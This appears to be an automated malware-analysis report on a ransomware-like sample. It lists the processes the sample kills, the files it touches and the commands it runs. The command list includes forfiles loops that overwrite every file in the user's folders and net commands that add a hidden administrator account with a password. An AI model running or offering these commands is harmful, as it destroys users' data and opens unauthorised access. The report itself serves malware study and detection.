Technical Information
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM explorer.exe
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\explorer.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\adhd_and_obesity.docx
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\pmd.cer
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\testcertificate.cer
Modifies file system
Creates the following files
- %TEMP%\6509.tmp\650a.tmp\650b.bat
- C:\perflogs\rans\k-lite_codec_pack_1110_mega.exe
- C:\perflogs\rans\k-lite_codec_pack_1110_mega.exe\:zone.identifier:$data
- C:\perflogs\rans\k-lite_codec_pack_1110_mega_dlm.exe
- C:\perflogs\rans\k-lite_codec_pack_1110_mega_dlm.exe\:zone.identifier:$data
- C:\perflogs\rans\magent_rfrset.exe
- C:\perflogs\rans\magent_rfrset.exe\:zone.identifier:$data
- C:\perflogs\rans\mirc741.exe
- C:\perflogs\rans\mirc741.exe\:zone.identifier:$data
- C:\perflogs\rans\opera_ni_stable.exe
- C:\perflogs\rans\opera_ni_stable.exe\:zone.identifier:$data
- C:\perflogs\rans\pidgin-2.10.11.exe
- C:\perflogs\rans\pidgin-2.10.11.exe\:zone.identifier:$data
- C:\perflogs\rans\steamsetup.exe
- C:\perflogs\rans\steamsetup.exe\:zone.identifier:$data
- C:\perflogs\rans\tcmd851ax64.exe
- C:\perflogs\rans\tcmd851ax64.exe\:zone.identifier:$data
- C:\perflogs\rans\thunderbird setup 31.6.0.exe
- C:\perflogs\rans\thunderbird setup 31.6.0.exe\:zone.identifier:$data
- C:\perflogs\rans\winamp5666_full_all.exe
- C:\perflogs\rans\jre-8u45-windows-x64.exe\:zone.identifier:$data
- C:\perflogs\rans\winamp5666_full_all.exe\:zone.identifier:$data
- C:\perflogs\rans\jre-8u45-windows-x64.exe
- C:\perflogs\rans\icq_rfrset.exe
- C:\perflogs\rans\adhd_and_obesity.docx
- C:\perflogs\rans\applicantform_en.doc
- C:\perflogs\rans\correct.avi
- C:\perflogs\rans\cveuropeo.doc
- C:\perflogs\rans\default.bmp
- C:\perflogs\rans\february_catalogue__2015.doc
- C:\perflogs\rans\glidescope_review_rev_010.docx
- C:\perflogs\rans\hanni_umami_chapter.doc
- C:\perflogs\rans\icq.lnk
- C:\perflogs\rans\mail.ru agent.lnk
- C:\perflogs\rans\ovp25012015.doc
- C:\perflogs\rans\pmd.cer
- C:\perflogs\rans\qip 2012.lnk
- C:\perflogs\rans\sdszfo.docx
- C:\perflogs\rans\telegram.lnk
- C:\perflogs\rans\testcertificate.cer
- C:\perflogs\rans\total commander 64 bit.lnk
- C:\perflogs\rans\chromesetup.exe
- C:\perflogs\rans\chromesetup.exe\:zone.identifier:$data
- C:\perflogs\rans\icq_rfrset.exe\:zone.identifier:$data
- nul
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\6509.tmp\650A.tmp\650B.bat <Full path to file>"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\6509.tmp\650A.tmp\650B.bat <Full path to file>"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "pmd.cer"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "QIP 2012.lnk"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "sdszfo.docx"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "Telegram.lnk"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "TestCertificate.cer"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "Total Commander 64 bit.lnk"
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Downloads /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "ChromeSetup.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "Mail.Ru Agent.lnk"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "ovp25012015.doc"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "icq_rfrset.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "K-Lite_Codec_Pack_1110_Mega_dlm.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "magent_rfrset.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "mirc741.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "Opera_NI_stable.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "pidgin-2.10.11.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "SteamSetup.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "tcmd851ax64.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "Thunderbird Setup 31.6.0.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "jre-8u45-windows-x64.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "K-Lite_Codec_Pack_1110_Mega.exe"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "ICQ.lnk"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "hanni_umami_chapter.doc"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "glidescope_review_rev_010.docx"
- '<SYSTEM32>\net1.exe' user user /del
- '<SYSTEM32>\net.exe' user User /add
- '<SYSTEM32>\net1.exe' user User /add
- '<SYSTEM32>\net.exe' user troller222255 pillow3856 /add
- '<SYSTEM32>\net1.exe' user troller222255 pillow3856 /add
- '<SYSTEM32>\net.exe' localgroup administrators troller222255 /add
- '<SYSTEM32>\net1.exe' localgroup administrators troller222255 /add
- '<SYSTEM32>\timeout.exe' 2
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\3D Objects /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\net.exe' user user /del
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Documents Objects /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "desktop.ini"
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Pictures /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Desktop /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "adhd_and_obesity.docx"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "applicantform_en.doc"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "correct.avi"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "cveuropeo.doc"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "default.bmp"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "february_catalogue__2015.doc"
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Music /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
- '<SYSTEM32>\cmd.exe' if FALSE==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md "winamp5666_full_all.exe"
- '<SYSTEM32>\forfiles.exe' /p %HOMEPATH%\Videos /m * /s /c "cmd /c if @isdir==FALSE copy %HOMEPATH%\Desktop\scorpioner_Ransomware_v3\19236.md @file"
